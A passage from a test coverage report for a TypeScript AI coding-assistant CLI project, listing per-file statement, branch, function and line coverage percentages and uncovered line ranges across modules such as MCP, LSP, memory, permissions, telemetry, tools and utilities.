  ...SkillHooks.ts |   78.75 |       75 |   66.66 |   78.75 | 62-66,137-152     
  ...oksManager.ts |   96.66 |    91.66 |     100 |   96.66 | ...90,209-210,223 
  ssrfGuard.ts     |   77.22 |    86.74 |     100 |   77.22 | ...57,261-267,273 
  stopHookCap.ts   |     100 |      100 |     100 |     100 |                   
  trustedHooks.ts  |      90 |    52.63 |     100 |      90 | ...53,66-67,97-98 
  types.ts         |   92.83 |       94 |    87.5 |   92.83 | ...87-488,573-577 
  urlValidator.ts  |     100 |      100 |     100 |     100 |                   
 src/ide           |   76.51 |     84.8 |   78.68 |   76.51 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  detect-ide.ts    |     100 |      100 |     100 |     100 |                   
  ide-client.ts    |   68.16 |    84.24 |    67.5 |   68.16 | ...1028,1057-1065 
  ide-installer.ts |   89.06 |    79.31 |     100 |   89.06 | ...36,143-147,160 
  ideContext.ts    |     100 |      100 |     100 |     100 |                   
  process-utils.ts |   84.84 |    71.79 |     100 |   84.84 | ...37,151,193-194 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/lsp           |   43.47 |     58.9 |   52.48 |   43.47 |                   
  ...nfigLoader.ts |   78.28 |     64.7 |      95 |   78.28 | ...35-437,441-447 
  ...ionFactory.ts |   42.81 |    73.07 |      50 |   42.81 | ...76-427,433-450 
  ...Normalizer.ts |   23.09 |    13.72 |   30.43 |   23.09 | ...04-905,909-924 
  ...verManager.ts |   25.31 |    62.06 |   41.66 |   25.31 | ...85-704,710-740 
  ...eLspClient.ts |   32.77 |       80 |   17.64 |   32.77 | ...84-288,294-295 
  ...LspService.ts |   51.85 |    65.98 |   68.57 |   51.85 | ...1339,1399-1409 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/mcp           |   82.39 |    77.73 |   78.33 |   82.39 |                   
  configHash.ts    |     100 |      100 |     100 |     100 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...h-provider.ts |   86.95 |      100 |   33.33 |   86.95 | ...,93,97,101-102 
  ...h-provider.ts |   79.52 |    58.06 |     100 |   79.52 | ...33-940,947-949 
  ...en-storage.ts |   98.78 |    97.95 |     100 |   98.78 | 106-107           
  oauth-utils.ts   |   73.61 |    85.24 |    92.3 |   73.61 | ...46-366,392-421 
  ...n-provider.ts |   89.83 |       96 |   45.45 |   89.83 | ...43,147,151-152 
 .../token-storage |   82.12 |    88.19 |   89.28 |   82.12 |                   
  ...en-storage.ts |     100 |      100 |     100 |     100 |                   
  ...en-storage.ts |   87.08 |    87.27 |   95.23 |   87.08 | ...00-201,214-215 
  ...en-storage.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...en-storage.ts |   68.14 |    82.35 |   64.28 |   68.14 | ...81-295,298-314 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/memory        |   77.81 |    79.68 |   76.54 |   77.81 |                   
  const.ts         |   94.28 |     92.3 |     100 |   94.28 | 66-67             
  dream.ts         |      66 |    73.33 |      50 |      66 | 51,108-149        
  ...entPlanner.ts |   57.84 |    72.72 |   33.33 |   57.84 | ...35,140-147,152 
  entries.ts       |   63.77 |    79.16 |      50 |   63.77 | ...72-180,183-189 
  extract.ts       |   91.36 |    72.41 |     100 |   91.36 | ...99,118-121,189 
  ...entPlanner.ts |   67.59 |     73.8 |      50 |   67.59 | ...32,241-244,416 
  ...ionPlanner.ts |       0 |        0 |       0 |       0 | 1                 
  forget.ts        |   46.21 |    61.53 |   44.44 |   46.21 | ...06,213,216-348 
  indexer.ts       |   94.14 |    83.67 |     100 |   94.14 | ...32-233,334,337 
  manager.ts       |   78.57 |    82.29 |   77.77 |   78.57 | ...1474,1487-1489 
  memoryAge.ts     |   90.47 |    81.81 |     100 |   90.47 | 50-51             
  paths.ts         |   80.48 |    92.53 |     100 |   80.48 | ...45-346,354-355 
  ...ing-skills.ts |     100 |       72 |     100 |     100 | 31-35,73-78,97    
  prompt.ts        |   95.49 |    79.41 |     100 |   95.49 | ...66,169,364-365 
  recall.ts        |   82.06 |       75 |    90.9 |   82.06 | ...59-364,395-406 
  ...ceSelector.ts |    93.1 |    81.81 |     100 |    93.1 | ...25,127-128,136 
  scan.ts          |   93.12 |    74.19 |     100 |   93.12 | ...08-109,154,157 
  ...et-scanner.ts |     100 |      100 |     100 |     100 |                   
  ...entPlanner.ts |   58.33 |    67.34 |   56.25 |   58.33 | ...61-282,358-403 
  status.ts        |   10.52 |      100 |       0 |   10.52 | 41-98             
  store.ts         |   93.33 |    81.25 |     100 |   93.33 | ...,94-95,119-120 
  ...git-status.ts |     100 |     87.5 |     100 |     100 | 30                
  ...cret-guard.ts |     100 |      100 |     100 |     100 |                   
  ...emory-sync.ts |   94.24 |    82.85 |     100 |   94.24 | ...34-236,246-247 
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...ontextFile.ts |   79.38 |    78.33 |   81.81 |   79.38 | ...58-272,286-291 
 src/mocks         |       0 |        0 |       0 |       0 |                   
  msw.ts           |       0 |        0 |       0 |       0 | 1-9               
 src/models        |   91.19 |    88.08 |   89.74 |   91.19 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...tor-config.ts |   90.24 |    91.42 |     100 |   90.24 | 142,148,151-160   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...nfigErrors.ts |   74.22 |       44 |   84.61 |   74.22 | ...,67-74,106-117 
  ...igResolver.ts |   98.66 |    92.75 |     100 |   98.66 | 163,325,331       
  modelRegistry.ts |     100 |    98.91 |     100 |     100 | 177               
  modelsConfig.ts  |   88.06 |    86.54 |   85.36 |   88.06 | ...1348,1377-1378 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/output        |     100 |      100 |     100 |     100 |                   
  ...-formatter.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/permissions   |   82.91 |     91.3 |   69.56 |   82.91 |                   
  autoMode.ts      |   97.74 |       94 |     100 |   97.74 | ...29,557-564,673 
  ...transcript.ts |      98 |       84 |     100 |      98 | 200-201           
  classifier.ts    |      94 |    94.44 |     100 |      94 | 158-165,385-389   
  ...erousRules.ts |     100 |    89.36 |     100 |     100 | 110,133,147,175   
  ...alTracking.ts |     100 |      100 |     100 |     100 |                   
  ...e-commands.ts |   86.77 |     73.8 |     100 |   86.77 | 131-141,210-214   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...on-manager.ts |   84.91 |     89.1 |      80 |   84.91 | ...1026,1132-1136 
  rule-parser.ts   |   97.42 |    93.82 |     100 |   97.42 | ...-890,1039-1041 
  ...-semantics.ts |   70.36 |    91.07 |   46.66 |   70.36 | ...2237,2300-2303 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...sifier-prompts |   99.04 |    95.23 |     100 |   99.04 |                   
  system-prompt.ts |   99.04 |    95.23 |     100 |   99.04 | 219               
 src/plan-gate     |   76.16 |    91.42 |      80 |   76.16 |                   
  ...viewAgents.ts |   52.28 |    88.46 |   66.66 |   52.28 | ...24-220,242-243 
  ...provalGate.ts |   92.47 |    92.85 |   85.71 |   92.47 | ...86-187,268-274 
  state.ts         |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/prompts       |   83.63 |      100 |    87.5 |   83.63 |                   
  mcp-prompts.ts   |   18.18 |      100 |       0 |   18.18 | 11-19             
  ...t-registry.ts |     100 |      100 |     100 |     100 |                   
 src/providers     |   79.06 |    74.45 |   68.75 |   79.06 |                   
  all-providers.ts |   69.23 |      100 |       0 |   69.23 | 71-72,76-82,86-92 
  index.ts         |     100 |      100 |     100 |     100 |                   
  install.ts       |   92.78 |    84.12 |     100 |   92.78 | ...39-240,313-314 
  ...der-config.ts |    72.6 |    69.49 |   73.91 |    72.6 | ...94-495,502-511 
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...viders/presets |   97.56 |    89.28 |   55.55 |   97.56 |                   
  ...oding-plan.ts |   87.34 |      100 |       0 |   87.34 | 82-84,87-89,91-94 
  ...a-standard.ts |     100 |      100 |     100 |     100 |                   
  ...token-plan.ts |     100 |      100 |     100 |     100 |                   
  ...m-provider.ts |   97.05 |    81.25 |      75 |   97.05 | 118-119           
  deepseek.ts      |     100 |      100 |     100 |     100 |                   
  idealab.ts       |     100 |      100 |     100 |     100 |                   
  minimax.ts       |     100 |      100 |     100 |     100 |                   
  modelscope.ts    |     100 |      100 |     100 |     100 |                   
  openrouter.ts    |     100 |      100 |     100 |     100 |                   
  requesty.ts      |     100 |      100 |     100 |     100 |                   
  zai.ts           |     100 |      100 |     100 |     100 |                   
 src/qwen          |    85.3 |     78.8 |   95.89 |    85.3 |                   
  ...tGenerator.ts |   98.64 |    98.18 |     100 |   98.64 | 105-106           
  qwenOAuth2.ts    |   82.55 |    73.71 |   90.62 |   82.55 | ...1183-1199,1229 
  ...kenManager.ts |   85.36 |    76.61 |     100 |   85.36 | ...52-757,778-783 
 src/resources     |     100 |      100 |     100 |     100 |                   
  ...e-registry.ts |     100 |      100 |     100 |     100 |                   
 src/services      |   88.29 |    85.11 |   94.79 |   88.29 |                   
  ...ionTrailer.ts |     100 |      100 |     100 |     100 |                   
  ...llRegistry.ts |   97.35 |    85.34 |     100 |   97.35 | ...94,117,417-418 
  ...ionService.ts |   96.56 |    95.49 |     100 |   96.56 | ...56,672,801-809 
  ...ingService.ts |   87.18 |    83.14 |   83.72 |   87.18 | ...1456,1471-1472 
  ...ttribution.ts |   91.73 |    87.71 |      90 |   91.73 | ...80-685,826-827 
  ...utSlimming.ts |   99.52 |    96.42 |     100 |   99.52 | 98                
  cronScheduler.ts |   95.34 |    91.18 |     100 |   95.34 | ...1011,1320-1321 
  cronTasksFile.ts |   95.03 |    89.47 |     100 |   95.03 | ...44-147,172-173 
  cronTasksLock.ts |   94.44 |    89.47 |     100 |   94.44 | ...02-103,132-133 
  ...eryService.ts |   82.07 |       92 |      80 |   82.07 | ...43,149-150,155 
  ...oryService.ts |   88.17 |    79.02 |    92.3 |   88.17 | ...1303,1344-1347 
  fileReadCache.ts |     100 |      100 |     100 |     100 |                   
  ...temService.ts |   91.27 |    82.69 |    90.9 |   91.27 | ...94,196,294-301 
  ...ratedFiles.ts |      96 |    88.23 |     100 |      96 | 119-120,146-147   
  gitInit.ts       |     100 |      100 |     100 |     100 |                   
  ...reeService.ts |   69.81 |    69.35 |   93.33 |   69.81 | ...2064,2092-2093 
  ...ionService.ts |   98.09 |    97.07 |     100 |   98.09 | ...90-591,638-639 
  ...ticsDumper.ts |   98.37 |    95.23 |     100 |   98.37 | 185-186           
  ...ureMonitor.ts |   96.06 |    91.48 |   96.96 |   96.06 | ...49,850,864-866 
  ...orRegistry.ts |   97.27 |    91.22 |     100 |   97.27 | ...50-451,606-607 
  ...ttachments.ts |   97.24 |    90.34 |     100 |   97.24 | ...08,646,661-662 
  sessionRecap.ts  |     9.7 |      100 |       0 |     9.7 | 42-172            
  ...ionService.ts |   86.32 |    78.72 |   94.87 |   86.32 | ...1592,1662-1682 
  sessionTitle.ts  |   93.87 |    71.15 |     100 |   93.87 | ...32-235,266-267 
  ...ionService.ts |   84.03 |    77.77 |   96.96 |   84.03 | ...2381,2387-2392 
  ...pInhibitor.ts |   97.34 |    92.68 |     100 |   97.34 | ...28,167,361-362 
  ...Estimation.ts |     100 |    86.66 |     100 |     100 | 96-97             
  ...ageService.ts |   97.76 |    91.59 |   93.75 |   97.76 | ...61-262,366,567 
  ...UseSummary.ts |   94.63 |    88.46 |     100 |   94.63 | ...62-164,214-215 
  ...oryService.ts |   89.03 |    65.38 |     100 |   89.03 | ...23-325,330-331 
  ...reeCleanup.ts |   14.56 |      100 |   33.33 |   14.56 | 58-185            
  ...ionService.ts |   87.98 |    86.95 |     100 |   87.98 | ...38-439,455-456 
 ...icrocompaction |   99.35 |    95.69 |     100 |   99.35 |                   
  microcompact.ts  |   99.35 |    95.69 |     100 |   99.35 | 224-225,618       
 ...s/visionBridge |      97 |    94.44 |   94.11 |      97 |                   
  ...part-utils.ts |     100 |      100 |     100 |     100 |                   
  ...ge-service.ts |   96.05 |    91.07 |      90 |   96.05 | ...14,221,307,404 
 src/skills        |    88.2 |    87.01 |   90.16 |    88.2 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...activation.ts |     100 |     93.1 |     100 |     100 | 93,112            
  skill-load.ts    |   94.84 |     87.5 |     100 |   94.84 | ...03,223,235-237 
  skill-manager.ts |   83.44 |    82.16 |   82.35 |   83.44 | ...1202,1209-1213 
  skill-paths.ts   |   89.65 |    86.95 |     100 |   89.65 | ...11-112,117-118 
  symlinkScope.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |   97.91 |       98 |     100 |   97.91 | 277-278           
 ...s/bundled/loop |   96.91 |       95 |     100 |   96.91 |                   
  ...-task-file.ts |   94.85 |     92.4 |     100 |   94.85 | ...56,367,375-376 
  ...k-resolver.ts |     100 |      100 |     100 |     100 |                   
 src/subagents     |      86 |     85.9 |   94.33 |      86 |                   
  ...ter-schema.ts |     100 |    98.07 |     100 |     100 | 99                
  ...tin-agents.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...nt-manager.ts |   81.51 |    80.66 |   91.17 |   81.51 | ...1450,1527-1528 
  types.ts         |     100 |      100 |     100 |     100 |                   
  validation.ts    |   92.46 |    95.18 |     100 |   92.46 | 47-52,63-68,71-76 
 src/telemetry     |   78.94 |    87.05 |    80.8 |   78.94 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...on-metrics.ts |   98.96 |    79.48 |     100 |   98.96 | 169,183           
  ...on-tracing.ts |   74.55 |    73.21 |   70.58 |   74.55 | ...95,336-338,354 
  ...attributes.ts |   97.47 |    93.15 |     100 |   97.47 | 39-44             
  ...-exporters.ts |   65.78 |    83.33 |   55.55 |   65.78 | ...04-105,108-109 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...t.circular.ts |       0 |        0 |       0 |       0 | 1-111             
  ...-processor.ts |   99.09 |    95.61 |      95 |   99.09 | 141,365-366       
  ...t.circular.ts |       0 |        0 |       0 |       0 | 1-128             
  loggers.ts       |   52.49 |    66.66 |   59.18 |   52.49 | ...1308,1325-1345 
  metrics.ts       |   76.07 |    78.57 |   78.94 |   76.07 | ...1021,1024-1035 
  ...attributes.ts |     100 |      100 |     100 |     100 |                   
  ...ime-config.ts |       0 |        0 |       0 |       0 | 1                 
  sanitize.ts      |      80 |    83.33 |     100 |      80 | 35-36,41-42       
  sdk.ts           |   86.75 |     88.4 |   66.66 |   86.75 | ...17-621,659-681 
  ...on-context.ts |     100 |      100 |     100 |     100 |                   
  ...on-tracing.ts |   90.06 |    88.25 |   96.55 |   90.06 | ...1541,1572-1575 
  ...etry-utils.ts |     100 |      100 |     100 |     100 |                   
  ...l-decision.ts |     100 |      100 |     100 |     100 |                   
  trace-context.ts |     100 |      100 |     100 |     100 |                   
  ...e-id-utils.ts |     100 |      100 |     100 |     100 |                   
  tracer.ts        |   98.56 |    88.63 |     100 |   98.56 | 52,101            
  types.ts         |   78.75 |    85.27 |   83.54 |   78.75 | ...1295,1299-1306 
  uiTelemetry.ts   |   93.07 |    92.85 |   83.33 |   93.07 | ...62,290,410-411 
 ...ry/qwen-logger |   69.86 |    82.69 |   65.51 |   69.86 |                   
  event-types.ts   |       0 |        0 |       0 |       0 |                   
  qwen-logger.ts   |   69.86 |    82.52 |   64.91 |   69.86 | ...1078,1116-1117 
 src/test-utils    |   93.44 |    96.15 |   77.77 |   93.44 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  ...st-helpers.ts |   94.11 |       90 |     100 |   94.11 | 69-70             
  index.ts         |     100 |      100 |     100 |     100 |                   
  mock-tool.ts     |   91.71 |    97.36 |   74.19 |   91.71 | ...54,218-219,232 
  ...aceContext.ts |     100 |      100 |     100 |     100 |                   
 src/tools         |   83.46 |    82.78 |   87.33 |   83.46 |                   
  ...erQuestion.ts |   90.74 |    82.43 |    92.3 |   90.74 | ...23-424,431-432 
  ...-registrar.ts |    77.7 |    66.66 |   66.66 |    77.7 | ...72-277,292-294 
  cron-create.ts   |   88.69 |    94.73 |   66.66 |   88.69 | ...,45-46,183-191 
  cron-delete.ts   |   97.56 |      100 |   83.33 |   97.56 | 31-32             
  cron-list.ts     |   98.16 |    93.75 |    87.5 |   98.16 | 50-51             
  diffOptions.ts   |     100 |      100 |     100 |     100 |                   
  edit.ts          |    82.3 |    83.19 |   81.25 |    82.3 | ...46-747,866-916 
  ...r-worktree.ts |   83.14 |    67.56 |    87.5 |   83.14 | ...84-187,278-279 
  enterPlanMode.ts |   81.08 |    66.66 |   85.71 |   81.08 | ...,74-79,112-126 
  exit-worktree.ts |   83.29 |    83.65 |   94.44 |   83.29 | ...14-515,537-538 
  exitPlanMode.ts  |   82.53 |    77.19 |     100 |   82.53 | ...91-394,426-429 
  glob.ts          |   95.92 |    87.69 |    92.3 |   95.92 | ...16,172,303,306 
  grep.ts          |   83.09 |    86.66 |   80.95 |   83.09 | ...60-661,711-712 
  ...adTracking.ts |     100 |      100 |     100 |     100 |                   
  loop-wakeup.ts   |   99.24 |    92.85 |     100 |   99.24 | 44                
  ls.ts            |   96.74 |    90.27 |     100 |   96.74 | 176-181,212,216   
  lsp.ts           |   72.77 |    60.09 |   90.32 |   72.77 | ...1211,1213-1214 
  ...nt-manager.ts |   81.09 |    79.55 |    85.1 |   81.09 | ...3135,3137-3138 
  mcp-client.ts    |   75.11 |    82.64 |      85 |   75.11 | ...1900,1904-1907 
  ...ry-timeout.ts |     100 |      100 |     100 |     100 |                   
  mcp-errors.ts    |     100 |      100 |     100 |     100 |                   
  ...pool-entry.ts |   77.56 |    84.11 |   77.14 |   77.56 | ...1291,1299-1300 
  ...ool-events.ts |       8 |      100 |       0 |       8 | 132-158           
  mcp-pool-key.ts  |   97.46 |    93.93 |     100 |   97.46 | 175-176           
  ...ce-content.ts |   96.55 |    91.17 |     100 |   96.55 | 80-82             
  mcp-status.ts    |     100 |      100 |     100 |     100 |                   
  mcp-tool.ts      |   91.43 |     89.9 |   96.66 |   91.43 | ...72-673,723-724 
  ...sport-pool.ts |   83.49 |    80.15 |   84.61 |   83.49 | ...1409,1416-1420 
  ...ace-budget.ts |   87.27 |     82.6 |     100 |   87.27 | ...00-305,340-345 
  memory-config.ts |     100 |      100 |     100 |     100 |                   
  ...iable-tool.ts |     100 |    84.61 |     100 |     100 | 102,109           
  monitor.ts       |   91.65 |    84.05 |   88.46 |   91.65 | ...87,600,796-801 
  notebook-edit.ts |    85.6 |    77.39 |   81.25 |    85.6 | ...89-905,951-952 
  ...escendants.ts |   36.17 |    64.51 |   55.55 |   36.17 | ...46-310,385-390 
  ...nforcement.ts |   82.57 |    89.74 |     100 |   82.57 | 174-185,234-247   
  read-file.ts     |   94.79 |    90.32 |   81.81 |   94.79 | ...04,307,390-391 
  ...p-resource.ts |   96.85 |      100 |   91.66 |   96.85 | 92-96             
  ripGrep.ts       |   95.87 |     88.4 |   94.73 |   95.87 | ...56-657,663-664 
  ...-transport.ts |   71.42 |    55.55 |   71.42 |   71.42 | ...36-137,143-144 
  send-message.ts  |   81.39 |    88.88 |    62.5 |   81.39 | ...22-228,311-319 
  ...n-mcp-view.ts |   93.57 |     92.3 |      90 |   93.57 | 122-130           
  shell.ts         |   77.35 |    81.92 |   91.48 |   77.35 | ...4809,4872-4873 
  skill-utils.ts   |     100 |      100 |     100 |     100 |                   
  skill.ts         |    90.2 |     93.1 |   88.88 |    90.2 | ...64,468,497-519 
  ...eticOutput.ts |   95.12 |      100 |      80 |   95.12 | 87-88             
  task-create.ts   |   93.85 |     92.3 |   81.81 |   93.85 | 41-45,59-60,91    
  task-list.ts     |   73.38 |    77.77 |   83.33 |   73.38 | ...02,105,109-116 
  task-stop.ts     |   93.14 |    96.15 |   85.71 |   93.14 | 39-40,54-64       
  task-update.ts   |   80.67 |       78 |    92.3 |   80.67 | ...75-383,415-426 
  team-create.ts   |   97.22 |    85.71 |   83.33 |   97.22 | 48-49,129-130     
  team-delete.ts   |   86.74 |    83.33 |   83.33 |   86.74 | 37-38,42-48,72-73 
  todoWrite.ts     |   89.27 |    82.05 |   92.85 |   89.27 | ...50-555,577-578 
  tool-error.ts    |     100 |      100 |     100 |     100 |                   
  tool-names.ts    |     100 |      100 |     100 |     100 |                   
  tool-registry.ts |   76.04 |     76.1 |   81.39 |   76.04 | ...62-863,871-872 
  tool-search.ts   |   93.99 |     88.8 |   93.33 |   93.99 | ...58-263,370-379 
  tools.ts         |   92.36 |    90.74 |   90.47 |   92.36 | ...99-500,516-522 
  web-fetch.ts     |   90.12 |    85.71 |   92.85 |   90.12 | ...11-312,326-327 
  write-file.ts    |   84.04 |     82.1 |   84.61 |   84.04 | ...92-695,732-767 
 src/tools/agent   |   80.56 |    83.45 |   79.12 |   80.56 |                   
  agent.ts         |   80.49 |    83.58 |   78.57 |   80.49 | ...3107,3134-3197 
  fork-subagent.ts |   82.35 |    77.77 |   85.71 |   82.35 | 83-101,133-134    
 ...tools/artifact |   95.58 |    91.01 |   88.37 |   95.58 |                   
  artifact-tool.ts |   90.23 |    81.39 |   69.23 |   90.23 | ...81-282,290-293 
  ...-publisher.ts |     100 |    85.71 |     100 |     100 | 32                
  ...-publisher.ts |   96.74 |    97.72 |    87.5 |   96.74 | 29-30,156-157     
  html.ts          |     100 |    96.77 |     100 |     100 | 122               
  ...-publisher.ts |     100 |       80 |     100 |     100 | 30                
  oss-publisher.ts |    98.1 |    91.48 |     100 |    98.1 | 43-45             
  publisher.ts     |     100 |      100 |     100 |     100 |                   
 ...s/computer-use |   90.21 |    82.17 |   78.08 |   90.21 |                   
  bootstrap.ts     |   59.42 |    80.95 |   41.66 |   59.42 | ...35-339,341-345 
  client.ts        |   80.11 |       90 |   77.77 |   80.11 | ...97,242-243,274 
  constants.ts     |     100 |    94.73 |     100 |     100 | 129,256           
  downloader.ts    |   65.29 |    52.77 |   58.33 |   65.29 | ...99-300,316-355 
  index.ts         |     100 |      100 |     100 |     100 |                   
  install-state.ts |   94.44 |    72.72 |     100 |   94.44 | 44-45             
  ...n-detector.ts |     100 |     87.5 |     100 |     100 | 50                
  schemas.ts       |     100 |      100 |     100 |     100 |                   
  tool.ts          |    96.3 |    85.71 |     100 |    96.3 | 75-76,184,252-258 
 ...tools/workflow |   87.46 |    79.41 |   85.71 |   87.46 |                   
  workflow.ts      |   87.46 |    79.41 |   85.71 |   87.46 | ...51-652,664-667 
 src/utils         |    90.6 |    88.69 |   95.21 |    90.6 |                   
  LruCache.ts      |       0 |        0 |       0 |       0 | 1-41              
  ...Controller.ts |     100 |      100 |     100 |     100 |                   
  ...ssageQueue.ts |     100 |      100 |     100 |     100 |                   
  ...cFileWrite.ts |   94.76 |    93.26 |     100 |   94.76 | ...30-531,634-638 
  bareMode.ts      |   81.81 |      100 |      50 |   81.81 | 18-19             
  browser.ts       |   86.84 |    78.94 |     100 |   86.84 | 34,36-37,65-66    
  btwUtils.ts      |   13.95 |      100 |       0 |   13.95 | 17-31,34-55       
  bundlePaths.ts   |     100 |      100 |     100 |     100 |                   
  ...ncyLimiter.ts |   94.64 |    95.23 |     100 |   94.64 | 64-66             
  ...igResolver.ts |     100 |      100 |     100 |     100 |                   
  ...engthError.ts |   91.11 |    89.47 |     100 |   91.11 | ...46-147,154-155 
  cronDisplay.ts   |     100 |    91.66 |     100 |     100 | 15,43,57          
  cronParser.ts    |   95.34 |    93.22 |     100 |   95.34 | 41-42,47-48,70-71 
  debugLogger.ts   |   96.42 |    94.11 |   88.23 |   96.42 | 185-189           
  editHelper.ts    |   93.63 |    83.52 |     100 |   93.63 | ...28-429,463-464 
  editor.ts        |   97.65 |    95.45 |     100 |   97.65 | ...35-336,338-339 
  env.ts           |     100 |      100 |     100 |     100 |                   
  ...arResolver.ts |   94.28 |    88.88 |     100 |   94.28 | 28-29,125-126     
  ...entContext.ts |   96.78 |    89.13 |      95 |   96.78 | ...51-252,257,403 
  errorParsing.ts  |    97.7 |    97.05 |     100 |    97.7 | 72-73             
  ...rReporting.ts |   88.46 |       90 |     100 |   88.46 | 69-74             
  errors.ts        |   73.14 |    79.48 |   55.55 |   73.14 | ...59-275,279-285 
  fetch.ts         |   72.45 |    81.81 |   71.42 |   72.45 | ...31,142-143,162 
  fileUtils.ts     |   91.66 |    86.06 |   95.23 |   91.66 | ...1232,1236-1242 
  forkedAgent.ts   |   80.68 |    78.12 |   83.33 |   80.68 | ...39-545,550-556 
  formatters.ts    |   81.81 |       75 |     100 |   81.81 | 15-16             
  ...eUtilities.ts |   89.21 |    86.66 |     100 |   89.21 | 16-17,49-55,65-66 
  ...rStructure.ts |   94.36 |    94.28 |     100 |   94.36 | ...17-120,330-335 
  getPty.ts        |   31.57 |       50 |     100 |   31.57 | 26-38             
  gitDiff.ts       |   92.36 |    80.09 |     100 |   92.36 | ...55-856,928-929 
  gitDirect.ts     |   98.46 |    90.17 |     100 |   98.46 | 148,268,352       
  ...noreParser.ts |   93.84 |     91.3 |     100 |   93.84 | ...03-104,185-186 
  gitUtils.ts      |   72.91 |    90.32 |   83.33 |   72.91 | ...,77-78,102-153 
  iconvHelper.ts   |     100 |      100 |     100 |     100 |                   
  ...rePatterns.ts |     100 |      100 |     100 |     100 |                   
  ...ionManager.ts |     100 |     90.9 |     100 |     100 | 27                
  ...lPromptIds.ts |     100 |      100 |     100 |     100 |                   
  jsonl-utils.ts   |   93.13 |     92.3 |     100 |   93.13 | ...16-317,356-359 
  ...-detection.ts |     100 |      100 |     100 |     100 |                   
  ...iagnostics.ts |    96.4 |     94.2 |     100 |    96.4 | ...66,293-294,376 
  ...yDiscovery.ts |    92.4 |    89.01 |     100 |    92.4 | ...28,331,522-525 
  ...tProcessor.ts |   93.77 |    89.02 |     100 |   93.77 | ...13-319,406-407 
  ...Inspectors.ts |     100 |      100 |     100 |     100 |                   
  modelId.ts       |   98.96 |    98.18 |     100 |   98.96 | 153               
  ...kerChecker.ts |    90.9 |    91.66 |     100 |    90.9 | 73-79             
  notebook.ts      |   94.57 |    89.74 |   95.83 |   94.57 | ...21,333,385-387 
  openaiLogger.ts  |   90.85 |    87.87 |     100 |   90.85 | ...97-199,222-227 
  partUtils.ts     |     100 |    98.63 |     100 |     100 | 206               
  pathReader.ts    |     100 |      100 |     100 |     100 |                   
  paths.ts         |    93.3 |    92.22 |     100 |    93.3 | ...92-393,395-397 
  pdf.ts           |   93.68 |    87.05 |     100 |   93.68 | ...96-297,321-325 
  projectPath.ts   |     100 |      100 |     100 |     100 |                   
  projectRoot.ts   |   71.73 |    78.57 |     100 |   71.73 | 54-66             
  ...ectSummary.ts |   89.62 |    72.41 |     100 |   89.62 | ...40-145,196-199 
  ...tIdContext.ts |     100 |      100 |     100 |     100 |                   
  proxyUtils.ts    |     100 |      100 |     100 |     100 |                   
  ...rDetection.ts |   58.57 |       76 |     100 |   58.57 | ...4,88-89,95-100 
  ...noreParser.ts |   92.45 |     90.9 |     100 |   92.45 | ...72-173,186-187 
  rateLimit.ts     |   93.75 |    88.34 |     100 |   93.75 | ...13,218-219,262 
  readManyFiles.ts |   95.13 |    85.18 |     100 |   95.13 | ...24-226,252-253 
  retry.ts         |   95.93 |    91.83 |     100 |   95.93 | ...33,524-525,543 
  retryContext.ts  |     100 |      100 |     100 |     100 |                   
  ...sification.ts |   97.52 |    96.84 |     100 |   97.52 | ...05,255-256,282 
  retryPolicy.ts   |   97.72 |    90.56 |     100 |   97.72 | 130-131           
  ripgrepUtils.ts  |   50.94 |    85.71 |      70 |   50.94 | ...54-255,268-346 
  ...sDiscovery.ts |   97.42 |    92.85 |     100 |   97.42 | ...04,182-183,202 
  ...iagnostics.ts |   83.08 |     67.5 |   92.59 |   83.08 | ...23,543-544,550 
  ...tchOptions.ts |      83 |    86.77 |   95.45 |      83 | ...68,593,622-631 
  ...odelPrefix.ts |     100 |      100 |     100 |     100 |                   
  runtimeStatus.ts |    97.5 |    89.74 |     100 |    97.5 | 162-163           
  safe-mode.ts     |     100 |      100 |     100 |     100 |                   
  safeJsonParse.ts |   74.07 |    83.33 |     100 |   74.07 | 40-46             
  ...nStringify.ts |     100 |      100 |     100 |     100 |                   
  ...aConverter.ts |   90.78 |    88.23 |     100 |   90.78 | ...41-42,93,95-96 
  ...aValidator.ts |   92.09 |    83.56 |   90.47 |   92.09 | ...60,882-883,896 
  ...r-launcher.ts |   96.35 |    93.97 |   85.71 |   96.35 | ...35-336,347-348 
  sedEditParser.ts |   91.72 |    92.12 |     100 |   91.72 | ...36-539,615-616 
  ...nIdContext.ts |     100 |      100 |     100 |     100 |                   
  ...orageUtils.ts |   95.98 |     83.8 |     100 |   95.98 | ...70,386,466,485 
  shell-utils.ts   |   86.24 |    89.61 |     100 |   86.24 | ...2003,2010-2014 
  ...lAstParser.ts |   95.57 |    85.88 |     100 |   95.57 | ...1066-1068,1078 
  ...ContextEnv.ts |     100 |      100 |     100 |     100 |                   
  ...nlyChecker.ts |   95.08 |    91.66 |     100 |   95.08 | ...15-316,324-325 
  sideQuery.ts     |   86.82 |     86.2 |     100 |   86.82 | ...81-187,189-195 
  ...pEventSink.ts |     100 |       80 |     100 |     100 | 61                
  ...tGenerator.ts |     100 |      100 |     100 |     100 |                   
  ...ameContext.ts |     100 |      100 |     100 |     100 |                   
  symlink.ts       |   81.48 |       75 |     100 |   81.48 | 54-59             
  ...emEncoding.ts |   96.36 |    91.17 |     100 |   96.36 | 59-60,124-125     
